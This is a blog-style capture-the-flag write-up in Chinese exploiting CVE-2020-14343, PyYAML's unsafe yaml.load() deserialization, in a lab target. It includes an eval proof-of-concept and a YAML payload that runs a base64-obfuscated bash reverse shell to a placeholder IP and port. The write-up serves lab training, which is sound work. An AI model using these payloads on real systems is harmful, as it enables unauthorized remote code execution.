【春秋云境】CVE-2020-14343 PyYAML中存在不安全的反序列化漏洞

PyYAML中存在不安全的反序列化漏洞。攻击者可利用该漏洞执行任意代码。

开启靶场

在这里插入图片描述

代码分析

反序列化位置

发现告诉你源代码位置了,下载源代码分析。

yaml.load() #将一个yaml文档反序列化为一个Python对象。

在这里插入图片描述

源代码修改过,但不影响实验。
可以看到在登录后,他会检测本地配置文件,然后进行反序列化。

配置文件上传位置

访问upload路径可以将文件保存到配置文件路径
在这里插入图片描述
代码判断为如果登录的IP和配置文件的IP一样则登录成功:
在这里插入图片描述
在本地测试,上传一下文件,hosts为本地测试地址(192.168.1.85),使用Admin用户名登录。(密码无判断)上传文件。
在这里插入图片描述

证明是可以通过文件上传修改配置文件的。
在这里插入图片描述
需要注意的是,使用网站上传时,他会自己再次访问默认路径
在这里插入图片描述
并且默认路径会自动重新修改配置文件。
在这里插入图片描述

漏洞验证

https://github.com/raul23/pyyaml-CVE-2020-14343
可以看到提供了3个POC。

!!python/object/new:tuple #YAML可以表示各种对象,包括Python对象。这里,它尝试序列化一个Python的tuple,其中包含一个map。
!!python/object/new:map  #这是YAML中用于指示创建一个新的Python对象的标签。
!!python/name:eval #这是指向Python的eval函数的引用。eval函数可以执行传入的字符串作为Python代码。
[ print('RCE EXPLOIT!') ] #这是一个Python代码字符串

执行成功
在这里插入图片描述
配置返连shell命令,构建新的payload
在这里插入图片描述

import('os').system(' ')  # python 执行系统函数


#上传问文件内容
 !!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "__import__('os').system('echo c2ggLWkgPiYgL2Rldi90Y3AvSVAvUE9SVCAwPiYx|base64 -d|bash')" ]]]

返连成功
在这里插入图片描述

获取flag

在这里插入图片描述

踩坑

1、本地复现时候,他提示参数有误。
yaml.load()报错 TypeError: load() missing 1 required positional argument: ‘Loader’ 解决方案
在这里插入图片描述

2、一开始使用pthon上线没有成功
在这里插入图片描述

参考文档

https://blog.csdn.net/chengdong996/article/details/123962061
https://github.com/raul23/pyyaml-CVE-2020-14343

  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值